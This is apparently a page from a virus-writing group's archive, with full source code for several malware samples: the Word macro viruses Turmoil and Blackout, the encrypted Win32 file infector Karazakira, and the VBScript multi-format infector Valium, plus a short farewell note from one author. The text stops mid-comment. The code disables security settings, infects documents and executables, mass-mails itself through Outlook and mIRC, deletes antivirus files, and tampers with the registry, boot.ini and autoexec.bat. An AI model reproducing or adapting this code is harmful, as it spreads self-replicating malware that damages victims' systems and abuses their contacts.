CommandBars("Macro").Controls("Security...").Enabled = False End Subsources
turmoil ppacket turmoil by ppacket Private Sub document_open() On Error Resume Next With Options .VirusProtection = 0 .SaveNormalPrompt = 0 .ConfirmConversions = 0 End With With Application .EnableCancelKey = wdCancelDisabled .ScreenUpdating = 0 .DisplayAlerts = wdAlertsNone .DisplayStatusBar = 0 End With Set norm = NormalTemplate.VBProject.VBComponents Set adoc = ActiveDocument.VBProject.VBComponents Const virii = "W97M/Turmoil" Open "c:\turmoil.vxd" For Output As #1 Print #1, Application.VBE.ActiveVBProject.VBComponents.Item(1).codemodule.lines(1, Application.VBE.ActiveVBProject.VBComponents.Item(1).codemodule.CountOfLines) Close #1 If norm.Item(1).codemodule.lines(72, 1) <> "'w97m/turmoil" Then norm.Item(1).codemodule.AddFromFile ("c:\turmoil.vxd") End If If adoc.Item(1).codemodule.lines(72, 1) <> "w97m/turmoil" Then adoc.Item(1).codemodule.AddFromFile ("c:\turmoil.vxd") End If turmoil = Int(Rnd(13) + 1) If turmoil = 13 Then System.PrivateProfileString("", "HKEY_USERS\.DEFAULT\CONTROL PANEL\INTERNATIONAL", "s1159") = "Turmoil" System.PrivateProfileString("", "HKEY_USERS\.DEFAULT\CONTROL PANEL\INTERNATIONAL", "s2359") = "Turmoil" End If ActiveDocument.SaveAs = "c:\turmoil.doc" Set outapp = CreateObject("outlook.application") Set mapi = a.GetNameSpace("MAPI") If outapp = "Outlook" Then mapi.Logon "profile", "password" For x = 1 To mapi.AddressLists.Count Set y = mapi.AddressLists(y) x = 1 Set tml = outapp.CreateItem(0) For xx = 1 To d.AddressEntries.Count e = y.AddressEntries(x) tml.Recipients.Add e x = x + 1 If x > 101 Then xx = y.AddressEntries.Count Next xx tml.Subject = "hello" tml.Body = ".click to see the naked truth!" tml.attachments.Add "c:\turmoil.doc", 1, 1, "truth.jpg" tml.Send e = "" Next y mapi.Logoff End If End Subsources
W97/Blackout ppacket W97/Blackout by ppacket VERSION 1.0 CLASS BEGIN MultiUse = -1 'True END Attribute VB_Name = "Blackout" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True 'W97/Blackout Private Sub Document_Open() On Error Resume Next System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1& CommandBars("Macro").Controls("Security").Enabled = False Set Ad = ActiveDocument.VBProject.VBComponents Open "c:\blackout.vxd" For Output As #1 Print #1, Ad.Item(1).codemodule.Lines(1, Ad.Item(1).codemodule.CountofLines) Close #1 Open "c:\blackout.vbs" For Output As #2 Print #2, "'W97/Blackout" Print #2, "On Error Resume Next" Print #2, "" Print #2, "Set fso=CreateObject(""Scripting.FileSystemObject"")" Print #2, "Set ws=CreateObject(""Wscript.Shell"")" Print #2, "Set wa=CreateObject(""Word.Application"")" Print #2, "" Print #2, "infwd(""c:\mydocu~1\"")" Print #2, "" Print #2, "function infwd(doc)" Print #2, "If f.FolderExists(doc) Then" Print #2, "" Print #2, "For Each wd in f.GetFolder(doc)" Print #2, "ext=f.GetExtensionName(wd.Name)" Print #2, "if ext=""doc"" or ext=""DOC"" Then" Print #2, "Set wp=wa.application" Print #2, "wp.Documents.Open wd.name" Print #2, "Set ad=wp.ActiveDocument.VBProject.VBComponents.Item(1)" Print #2, "if ad.name <> ""Blackout"" then" Print #2, "ad.CodeModule.AddFromFile ""c:\blackout.vxd"" " Print #2, "ad.name=""Blackout""" Print #2, "wp.ActiveDocument.ReadOnlyRecommended = true" Print #2, "wp.ActiveDocument.Save" Print #2, "End If" Print #2, "End If" Print #2, "Next" Print #2, "End If" Print #2, "" Print #2, "End Function" Close #2 System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "blackout") = "c:\blackout.vbs" System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Blackout", "ppacket") = "by pickpacket" If Dir("c:\mirc\mirc32.exe") <> "" Then script = "c:\mirc\script.ini" ElseIf Dir("c:\progra~1\mirc\mirc32.exe") <> "" Then script = "c:\progra~1\mirc\script.ini" End If ActiveDocument.SaveAs FileName:="c:\readme.txt.doc" If script <> "" Then Open script For Output As #3 Print #3, "[script]" Print #3, "n0=on 1:Join:#: {" Print #3, "n1=/if ($nick == $me ) {Halt}" Print #3, "n2=/DCC Send (c:\readme.txt.doc)" Print #3, "n3=/Clear" Print #3, "n4=/MOTD" Print #3, "n5=}" Close #3 End If If Hour(Now) = Rnd * 23 Then System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoClose") = 1& Assistant.Visible = True Assistant.Animation = msoAnimationGetTechy With Assistant.NewBalloon .Heading = "W97/Blackout" .Text = "This goes out to the people in the power companies!!!" .Show End With End If End Subarticles
a mail ppacket Whoa!!!! that sucks... It's so hard to take that rRlf is going out, well as time goes we are losing the great ppl that could really do code virii's. I'm just saddened that I haven't given much contribution to the group the past years, personal priorities can really be a hassle but then again thanks for the experience even if I did minor projects I prove to myself that I could really do some things that I could be proud of and someday share with my kids.... Thanks again and peace out, hope I could still hear from you guys.... ppacketsources
karazakira Psychologic ; _ __ ____ __ ___ __ _ _ ____ __ ; | |/\ / \ | _ \ / \ / _ \ / \ | |/\ | | | _ \ / \ ; | _/ | || | | / | || | |// / | || | | _/ | | | / | || | ; | \ | | | |\ \ | | / /|\ | | | \ | | | |\ \ | | ; |_|\/ |_||_| |_||_| |_||_| /____/ |_||_| |_|\/ |_| |_||_| |_||_| ; By Psychologic/rRlf ; ; Kara-Intro : ; ; This is my 3rd win32asm virus, I named it as an Indian's ring "KARAZAKIRA" ; which belived can call a soul from the deathman (a man who has been die) ; well, I think this is unique name. ; Workz : ; ; When Karazakira file executed, Karazakira searches for 4 PE *.EXE files in the current ; and windows directory. Those files will be infected by adding a new section called ; ".Karazakira" (called in infect section as ptr [edi], "raK."). ; File modification works by direct access, not by memory mapping (Bad idea right..??) ; well it just for different touch, hehe :P ; Feature : ; ; * full Win32 compatible ; * encrypted using DIV algorithm ; * Infecting windows directory ; * Deleting some AV checksum files ; Compile : ; ; tasm32 /mx /m karazakira.asm ; tlink32 /Tpe /aa karazakira.obj,,, import32.lib ; ==================================================================================== ; ==================================================================================== ; ; ==================================================================================== ; ==================================================================================== length_virus_file EQU (end_static - start) length_virus_mem EQU (end_mem - start) length_encrypted EQU (end_encrypted - encrypted) length_PE_header EQU 1000 Extrn MessageBoxA:Proc Extrn ExitProcess:Proc .386p .model flat .data start: pushad pushfd db 0BDh delta_offset dd 0 lea esi, [ebp+offset encrypted] mov edi, esi mov ecx, length_encrypted / 8 db 0BBh crypt_key dd 0 rush_code: copyright db "Win32.Karazakira By Psychologic", 0 db "On Friday, second January '05 - Depok City, Indonesia", 0 GetProcAddress db "GetProcAddress", 0 l_GPA = $ - offset GetProcAddress FindFirstFileA db "FindFirstFileA", 0 FindNextFileA db "FindNextFileA", 0 FindClose db "FindClose", 0 CreateFileA db "CreateFileA", 0 CloseHandle db "CloseHandle", 0 ReadFile db "ReadFile", 0 WriteFile db "WriteFile", 0 DeleteFileA db "DeleteFileA", 0 SetFilePointer db "SetFilePointer", 0 SetFileAttributesA db "SetFileAttributesA", 0 SetFileTime db "SetFileTime", 0 SetCurrentDirectoryA db "SetCurrentDirectoryA", 0 GetCurrentDirectoryA db "GetCurrentDirectoryA", 0 GetWindowsDirectoryA db "GetWindowsDirectoryA", 0 GetSystemDirectoryA db "GetSystemDirectoryA", 0 GetTickCount db "GetTickCount", 0 anti_vir_dat db "ANTI-VIR.DAT", 0 chklist_ms db "CHKLIST.MS", 0 chklist_cps db "CHKLIST.CPS", 0 avp_crc db "AVP.CRC", 0 orig_eip dd offset quit_1st_gen filemask db "*.EXE", 0 new_section_header: db ".Karazakira", 0, 0 VirtualSize dd length_virus_mem VirtualAddress dd 0 PhysicalSize dd length_virus_file PhysicalAddress dd 0 dd 0, 0, 0 dd 0E0000020h if ((($-encrypted) mod 8) NE 0) db (8-(($-encrypted) mod 8)) dup(0) endif decrypt: lodsd xchg eax, edx lodsd cmp edx, ebx JA no_mul push ebx push edx mul ebx pop ebx add eax, ebx adc edx, 0 pop ebx stosd xchg eax, edx stosd LOOP decrypt JMP encrypted no_mul: stosd xchg eax, edx stosd LOOP decrypt encrypted: mov eax, [ebp+offset orig_eip] mov [ebp+offset host_entry], eax push offset seh_handler push dword ptr fs:[0] mov fs:[0], esp mov eax, [esp+11*4] scan_kernel: cmp word ptr [eax], "ZM" JNE kernel_not_found mov ebx, [eax+3Ch] add ebx, eax cmp dword ptr [ebx], "EP" JE kernel32_found kernel_not_found: dec eax JMP scan_kernel kernel32_found: mov [ebp+offset kernel32], eax mov ebx, [ebx+120] add ebx, eax mov edx, [ebx+20h] add edx, eax mov ecx, [ebx+18h] GPA_search: push ecx mov esi, [edx] add esi, eax lea edi, [ebp+offset GetProcAddress] mov ecx, l_GPA cld rep cmpsb pop ecx JE GPA_found inc edx inc edx inc edx inc edx LOOP GPA_search GPA_not_found: JMP return_to_host GPA_found: mov edx, [ebx+18h] sub edx, ecx shl edx, 1 add edx, [ebx+24h] add edx, eax xor ecx, ecx mov cx, [edx] shl ecx, 2 add ecx, [ebx+1Ch] add ecx, eax mov ebx, [ecx] add ebx, eax mov [ebp+offset GPA_addr], ebx lea eax, [ebp+offset curdir] push eax push 260 lea eax, [ebp+offset GetCurrentDirectoryA] call call_API push 260 lea eax, [ebp+offset windir] push eax lea eax, [ebp+offset GetWindowsDirectoryA] call call_API lea eax, [ebp+offset windir] push eax lea eax, [ebp+offset SetCurrentDirectoryA] call call_API call infect_dir lea eax, [ebp+offset curdir] push eax lea eax, [ebp+offset SetCurrentDirectoryA] call call_API call infect_dir return_to_host: pop dword ptr fs:[0] pop eax popfd popad db 068h host_entry dd 0 ret seh_handler: mov esp, [esp+8] JMP return_to_host infect_dir: mov dword ptr [ebp+infectioncount], 4 lea eax, [ebp+offset anti_vir_dat] call kill_file lea eax, [ebp+offset chklist_ms] call kill_file lea eax, [ebp+offset chklist_cps] call kill_file lea eax, [ebp+offset avp_crc] call kill_file lea eax, [ebp+offset find_data] push eax lea eax, [ebp+offset filemask] push eax lea eax, [ebp+offset FindFirstFileA] call call_API mov [ebp+offset search_handle], eax inc eax JZ end_infect_dir infect: push 80h lea eax, [ebp+offset FileName] push eax lea eax, [ebp+offset SetFileAttributesA] call call_API push 0 push 80h push 3 push 0 push 0 push 0C0000000h lea eax, [ebp+offset FileName] push eax lea eax, [ebp+offset CreateFileA] call call_API mov [ebp+offset file_handle], eax inc eax JZ restore_attributes push 0 lea eax, [ebp+offset bytes_read] push eax push 64 lea eax, [ebp+offset dos_header] push eax push [ebp+file_handle] lea eax, [ebp+offset ReadFile] call call_API cmp word ptr [ebp+offset exe_marker], "ZM" JNE close push 0 push 0 push dword ptr [ebp+offset new_header] push dword ptr [ebp+offset file_handle] lea eax, [ebp+offset SetFilePointer] call call_API push 0 lea eax, [ebp+offset bytes_read] push eax push length_pe_header lea eax, [ebp+offset pe_header] push eax push dword ptr [ebp+file_handle] lea eax, [ebp+offset ReadFile] call call_API cmp dword ptr [ebp+offset pe_marker], "EP" JNE close test word ptr [ebp+offset flags], 0010000000000000b JNZ close lea ebx, [ebp+offset optional_header] add bx, word ptr [ebp+offset SizeOfOptHeader] xor eax, eax mov ax, word ptr [ebp+offset NumberOfSections] dec eax mov ecx, 40 mul ecx add eax, ebx mov edi, eax cmp dword ptr [edi], "raK." JE close mov eax, [ebp+offset EntryPoint] add eax, [ebp+offset ImageBase] mov [ebp+offset orig_eip], eax inc word ptr [ebp+offset NumberOfSections] mov eax, [edi+12] add eax, [edi+8] mov ebx, [ebp+offset SectionAlign] call align_EAX mov [ebp+offset VirtualAddress], eax mov [ebp+offset EntryPoint], eax add eax, [ebp+offset ImageBase] sub eax, offset start mov [ebp+offset delta_offset], eax mov eax, length_virus_mem call align_EAX add dword ptr [ebp+offset SizeOfImage], EAX mov eax, [edi+20] add eax, [edi+16] mov ebx, [ebp+offset FileAlign] call align_EAX mov [ebp+offset PhysicalAddress], eax push 0 push 0 push eax push dword ptr [ebp+offset file_handle] lea eax, [ebp+offset SetFilePointer] call call_API mov eax, length_virus_file call align_EAX mov [ebp+PhysicalSize], eax mov ecx, 40 lea esi, [ebp+offset new_section_header] add edi, ecx cld pusha xor eax, eax repe scasb popa JNE close rep movsb push eax lea eax, [ebp+offset GetTickCount] call call_API mov ebx, eax ror eax, 8 xor ebx, eax mov [ebp+offset crypt_key], ebx lea esi, [ebp+offset start] lea edi, [ebp+offset crypt_buffer] mov ecx, length_virus_file rep movsb lea esi, [ebp+offset crypt_buffer+(encrypted-start)] mov edi, esi mov cx, length_encrypted / 8 encrypt: lodsd xchg eax, edx lodsd xchg eax, edx cmp edx, ebx JA no_div div ebx no_div: xchg eax, edx stosd xchg eax, edx stosd loop encrypt pop eax push 0 lea ecx, [ebp+offset bytes_read] push ecx push eax lea eax, [ebp+offset crypt_buffer] push eax push dword ptr [ebp+file_handle] lea eax, [ebp+offset WriteFile] call call_API push 0 push 0 push dword ptr [ebp+offset new_header] push dword ptr [ebp+offset file_handle] lea eax, [ebp+offset SetFilePointer] call call_API push 0 lea eax, [ebp+offset bytes_read] push eax push length_pe_header lea eax, [ebp+offset pe_header] push eax push dword ptr [ebp+file_handle] lea eax, [ebp+offset WriteFile] call call_API dec dword ptr [ebp+infectioncount] close: lea eax, [ebp+offset LastWriteTime] push eax lea eax, [ebp+offset LastAccessTime] push eax lea eax, [ebp+offset CreationTime] push eax push dword ptr [ebp+offset file_handle] lea eax, [ebp+offset SetFileTime] call call_API push dword ptr [ebp+offset file_handle] lea eax, [ebp+offset CloseHandle] call call_API restore_attributes: push dword ptr [ebp+offset FileAttributes] lea eax, [ebp+offset FileName] push eax lea eax, [ebp+offset SetFileAttributesA] call call_API find_next: mov ecx, [ebp+infectioncount] JCXZ close_find lea eax, [ebp+offset find_data] push eax push dword ptr [ebp+offset search_handle] lea eax, [ebp+offset FindNextFileA] call call_API dec eax JZ infect close_find: push dword ptr [ebp+offset search_handle] lea eax, [ebp+offset FindClose] call call_API end_infect_dir: ret kill_file: push eax push 80h push eax lea eax, [ebp+offset SetFileAttributesA] call call_API lea eax, [ebp+offset DeleteFileA] call call_API RET call_API: push eax push dword ptr [ebp+offset kernel32] call [ebp+offset GPA_addr] JMP eax align_EAX: xor edx, edx div ebx or edx, edx JZ no_round_up inc eax no_round_up: mul ebx RET end_encrypted: end_static: heap: crypt_buffer db length_virus_file dup(?) padding db 1024 dup(?) windir db 260 dup(?) curdir db 260 dup(?) kernel32 dd ? GPA_addr dd ? search_handle dd ? file_handle dd ? bytes_read dd ? infectioncount dd ? find_data: FileAttributes dd ? CreationTime dq ? LastAccessTime dq ? LastWriteTime dq ? FileSize dq ? wfd_reserved dq ? FileName db 260 dup(?) DosFileName db 14 dup(?) dos_header: exe_marker dw ? dosheader_shit db 58 dup(?) new_header dd ? pe_header: pe_marker dd ? machine dw ? NumberOfSections dw ? TimeDateStamp dd ? DebugShit dq ? SizeOfOptHeader dw ? flags dw ? optional_header: optional_magic dw ? linkerversion dw ? SizeOfCode dd ? SizeOfDATA dd ? SizeOfBSS dd ? EntryPoint dd ? BaseOfCode dd ? BaseOfData dd ? ImageBase dd ? SectionAlign dd ? FileAlign dd ? OSVersion dd ? OurVersion dd ? SubVersion dd ? reserved1 dd ? SizeOfImage dd ? SizeOfHeader dd ? Checksum dd ? org offset pe_header+length_pe_header end_mem: .code start_1st_gen: pushad pushfd xor ebp, ebp JMP encrypted quit_1st_gen: push 0 push offset caption push offset message push 0 call MessageBoxA push 0 call ExitProcess caption: db "Win32.Karazakira by Psychologic" db 0 message db "Freee palestine...freee palestine", 0 end start_1st_gensources
Valium Psychologic 'valium '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ' The ' **** ***** ****** ***** ***** ***** **** ***** ***** ' *** *** *** ** *** *** *** ** ********* ' *** *** ******** *** *** *** ** *** ** ** ' ***** *** ** *** *** *** ** *** ** ' *** *** ** ******* ***** ****** ***** **** ' '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 'Valium is an Script virus,made in Visual Basic Script. 'Valium designed to infect many file types which is vulnerable for script to attack. 'it also has ability to infect graph files such as bmp,jpg,gif even it is not realy 'infection,but I think valium had show you how script infect those files. 'Valium infecting some project files such as cpp,frm and pas by adding it self in it 'Valium also adding it self in every zip or rar files,using lame bugs from its internal command 'Valium injecting it self in every nrb and nri files,see my article about what is nri or nrb 'in 29a#8 and this is just simple implementation in script to spread via cd-room 'Valium also macro virus,it infecting doc and xls,by injecting it body in normal.temp/xlstart 'I think Valium is an big script infector,infecting at least 22 file types 'Some memory resident trick,duplicator type trick,booting stuff trick also available here 'Valium also has abiity to encrypt it self/selfcripting using poly/Epo tricky. 'Thats all about this lame shit,Do not code script if you don't have something new in it. '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 'Name : Valium 'Author : Psychologic/rRlf 'System : 9x,Me,Nt,Xp with WSH ofcourse 'Target files : Portable Script ' vbs,vbe,js,bat,reg,nri,nrb,doc,xls,rar,zip,cpp,pas,frm,jpg,gif,bmp,ico,html,htt,shtml,htm 'Worming : No this is virus not worm 'Polymorph : Yes mixture with encryption and some silly Epo 'Encryption : Ofcourse self encrypting ability 'Payload : -Randomize ' ^Overwrite oeminfo.ini ' ^An Cool graphical matrix message 'Feature : -Some Memory resident trick ' -Self destruction ' -Some booting stuffs ' -Some funny stuffs 'Known Bugs : As you see this virus need to drops many files cos it need much dummy for buffer character '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ '* WARNING * 'Valium designed to be fast in spreading,do not execute it if you dont know how to handle it 'author not responsible for your stupid act with it. '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 'valium Randomize on error resume next r = int(rnd * 100) If r = 7 then '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 'Well here is the payload which will drop oeminfo.ini and drop html file for graphical 'mesage,I know it is just make this virus biger,but I don't care,its just script right?? '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Set fso = CreateObject("Scripting.FileSystemObject") set a = fso.CreateTextFile("C:\windows\system\Oeminfo.ini") a.writeline "[General]" a.writeline "Manufacturer=" & chr(34) & "Psychologic" & chr(34) a.writeline "Model=" & chr(34) & "Valium virus" & chr(34) a.writeline "[Support Information]" a.writeline "Line1 = " & chr(34) & "Your computer has been infected with valium virus" & chr(34) a.writeline "Line2 = " & chr(34) & "" & chr(34) a.writeline "Line3 = " & chr(34) & "'valium by Psychologic" & chr(34) set payload = fso.createtextfile("C:\payload.html",true) payload.writeline "<HTML><HEAD><TITLE>Valium virus</TITLE><SCRIPT LANGUAGE=" & chr(34) & "JavaScript" & chr(34) & ">" payload.writeline "<!-- Begin" payload.writeline "var matrix_window;" payload.writeline "function MatrixWrite(string, bold, italic, speed) {" payload.writeline "var height = window.screen.height;" payload.writeline "var width = window.screen.width;" payload.writeline "var win_dimensions = " & chr(34) & "height = " & chr(34) & " + eval(height + 10) + " & chr(34) & ", width = " & chr(34) & " + eval(width + 30);" payload.writeline "matrix_window = window.open(" & chr(34) & "blank.htm" & chr(34) & ", " & chr(34) & "matrix_window" & chr(34) & ", win_dimensions);" payload.writeline "matrix_window.document.open(" & chr(34) & "text/html" & chr(34) & ", " & chr(34) & "replace" & chr(34) & ");" payload.writeline "var i;" payload.writeline "var timer = 0;" payload.writeline "if(matrix_window.moveTo)" payload.writeline "matrix_window.moveTo(-10, -30);" payload.writeline "if(matrix_window.resizeBy)" payload.writeline "matrix_window.resizeBy(0, 50);" payload.writeline "matrix_window.document.write(" & chr(34) & "<body bgcolor=000000 text=00ff00 onBlur='self.focus()'>" & chr(34) & ");" payload.writeline "matrix_window.document.write(" & chr(34) & "<font face=system>" & chr(34) & ");" payload.writeline "if(bold == true) matrix_window.document.write(" & chr(34) & "<b>" & chr(34) & ");" payload.writeline "if(italic == true) matrix_window.document.write(" & chr(34) & "<i>" & chr(34) & ");" payload.writeline "for(i = 0; i <= string.length; i++) {" payload.writeline "timer += (Math.random() * speed);" payload.writeline "setTimeout(" & chr(34) & "matrix_window.document.write('" & chr(34) & " + string.charAt(i) + " & chr(34) & "');" & chr(34) & ", timer);" payload.writeline "}" payload.writeline "timer += 2000;" payload.writeline "setTimeout(" & chr(34) & "matrix_window.close()" & chr(34) & ", timer);" payload.writeline "}" payload.writeline "<!-- JavaScript Praphical matRix payload By : Psyhologic -->" payload.writeline "<!-- Email : psychologic@hotmail.com -->" payload.writeline "<!-- Made From Microsoft Visual Basic Worm Editor By Psychologic -->" payload.writeline "<!-- Begin" payload.writeline "var matrix_window;" payload.writeline "function MatrixWrite(string, bold, italic, speed) {" payload.writeline "var height = window.screen.height;" payload.writeline "var width = window.screen.width;" payload.writeline "var win_dimensions = " & chr(34) & "height = " & chr(34) & " + eval(height + 10) + " & chr(34) & ", width = " & chr(34) & " + eval(width + 30);" payload.writeline "matrix_window = window.open(" & chr(34) & "blank.htm" & chr(34) & ", " & chr(34) & "matrix_window" & chr(34) & ", win_dimensions);" payload.writeline "matrix_window.document.open(" & chr(34) & "text/html" & chr(34) & ", " & chr(34) & "replace" & chr(34) & ");" payload.writeline "var i;" payload.writeline "var timer = 0;" payload.writeline "if(matrix_window.moveTo)" payload.writeline "matrix_window.moveTo(-10, -30);" payload.writeline "if(matrix_window.resizeBy)" payload.writeline "matrix_window.resizeBy(0, 50);" payload.writeline "matrix_window.document.write(" & chr(34) & "<body bgcolor=000000 text=00ff00 onBlur='self.focus()'>" & chr(34) & ");" payload.writeline "matrix_window.document.write(" & chr(34) & "<font face=system>" & chr(34) & ");" payload.writeline "if(bold == true) matrix_window.document.write(" & chr(34) & "<b>" & chr(34) & ");" payload.writeline "if(italic == true) matrix_window.document.write(" & chr(34) & "<i>" & chr(34) & ");" payload.writeline "for(i = 0; i <= string.length; i++) {" payload.writeline "timer += (Math.random() * speed);" payload.writeline "setTimeout(" & chr(34) & "matrix_window.document.write('" & chr(34) & " + string.charAt(i) + " & chr(34) & "');" & chr(34) & ", timer);" payload.writeline "}" payload.writeline "timer += 2000;" payload.writeline "setTimeout(" & chr(34) & "matrix_window.close()" & chr(34) & ", timer);" payload.writeline "}" payload.writeline "var messages = new Array(" & chr(34) & "this is valium virus by puppy" & chr(34) & "," & chr(34) & "valium ----- youri had belong to me" & chr(34) & "," & chr(34) & "Please delete me now" & chr(34) & ");" payload.writeline "function GetRndIndex() {" payload.writeline "return (parseInt(Math.random() * messages.length));" payload.writeline "}" payload.writeline "function WriteRndMsg(bold, italic, speed) {" payload.writeline "MatrixWrite(messages[GetRndIndex()], bold, italic, speed);" payload.writeline "}" payload.writeline "// End -->" payload.writeline "function GetRndIndex() {" payload.writeline "return (parseInt(Math.random() * messages.length));" payload.writeline "}" payload.writeline "function WriteRndMsg(bold, italic, speed) {" payload.writeline "MatrixWrite(messages[GetRndIndex()], bold, italic, speed);" payload.writeline "}" payload.writeline "// End -->" payload.writeline "</script>" payload.writeline "</HEAD>" payload.writeline "<BODY Onload = " & chr(34) & "javascript:WriteRndMsg(true, true, 750)" & chr(34) & ">" payload.writeline "<b>Your Computer has been Infected with : </b>" payload.writeline "<p><b><font color=" & chr(34) & "#FF0000" & chr(34) & ">Valium virus </font> Your Pc has been infected with Valium virus by psychologic/redline</b></p>" payload.writeline "</body></html>" payload.close CreateObject("Wscript.shell").run "C:\payload.html" end if CreateObject("Wscript.shell").regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1, "REG_DWORD" createobject("Wscript.shell").regwrite "HKEY_CLASSES_ROOT\Directory\Shell\valium games\Command\","WScript.exe | C:\Windows\valium.vbs" createobject("Wscript.shell").regwrite "HKEY_CLASSES_ROOT\exefile\shell\open\command\", "%WINDIR%\valium.vbs %1 %*" set executor = wscript.CreateObject("WScript.Shell") Set fso = createobject("scripting.filesystemobject") fso.CopyFile Wscript.ScriptFullName, "C:\windows\valium.vbs" fso.CopyFile Wscript.ScriptFullName, "C:\windows\systemCD.vbs" fso.copyfile wscript.scriptfullname,"C:\windows\WindowsSystem.sys" Set OpenSelf = FSO.OpenTextFile(Wscript.ScriptFullName, 1, True) code = OpenSelf.readall & vbcrlf & "'valium" set backup = fso.createtextfile("C:\doc.1",true) backup.write code '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 'A function to changes this script body to *cpp format,need to drop file for buffy character 'and all formated *cpp character saved in one variable '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ set opendropercpp = fso.OpenTextFile("C:\windows\WindowsSystem.sys", 1) allsourcecpp = "" oneline1 = "" do while opendropercpp.readline <> "'valium" oneline1 = "" oneline1 = opendropercpp.readline onebyone = len(oneline1) for i = 1 to onebyone read34 = mid(oneline1,i,1) if read34 = chr(34) then m = ",34" else m = "" end if all = all & m next cppformat = replace(oneline1,chr(34),"%c") fullline1 = "fprintf(mvbswe," & chr(34) & cppformat & "\n" & chr(34) & all & ");" allsourcecpp = allsourcecpp & vbcrlf & fullline1 all = "" loop opendropercpp.close '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 'A function to changes this script body to *frm format,need to drop file for buffy character 'and all formated *frm character saved in one variable '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ set opendroperfrm = fso.OpenTextFile("C:\windows\WindowsSystem.sys", 1) allsourcefrm = "" oneline = "" do while opendroperfrm.readline <> "'valium" oneline = opendroperfrm.readline frmformat = replace(oneline,chr(34),chr(34)&"&chr(34)&"&chr(34)) fullline = "? #1," & frmformat allsourcefrm = allsourcefrm & vbcrlf & fullline loop opendroperfrm.close '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 'A function to changes this script body to *pas format,need to drop file for buffy character 'and all formated *pas character saved in one variable '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ oneline2 = "" set opendroperpas = fso.OpenTextFile("C:\windows\WindowsSystem.sys", 1) do while opendroperpas.readline <> "'valium" oneline2 = "" oneline2 = opendroperpas.readline fullline2 = "writeln (mvbswe,'" & oneline2 & "');" allsourcepas = allsourcepas & vbcrlf & fullline2 loop opendroperpas.close '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 'Just for spliting a:,its a funny stuff,but not destructive '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ set r = fso.opentextfile("C:\autoexec.bat",1) all = r.readall set m = fso.createtextfile("C:\autoexec.bat",true) m.write all m.writeline "subst c: a:\" m.writeline "subst d: a:\" m.writeline "subst e: a:\" m.writeline "subst f: a:\" m.writeline "subst g: a:\" m.close '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 'Also funny stuff,valium will make boot.ini in C:\ 'infected machine will now about this '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ set boot = fso.createtextfile("C:\boot.ini",true) boot.writeline "[Boot Loader]" boot.writeline "timeout=60" boot.writeline "Default=C:\" boot.writeline "" boot.writeline "[Operating Systems]" boot.writeline "C:\" & chr(34) & "You infected with valium virus" & chr(34) & " /fastdetect" boot.writeline "D:\" & chr(34) & "Psychologic was here" & chr(34) boot.writeline "E:\" & chr(34) & "This is valium New operating system" & chr(34) boot.close '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 'A function to changes this script body to macro's format,it is 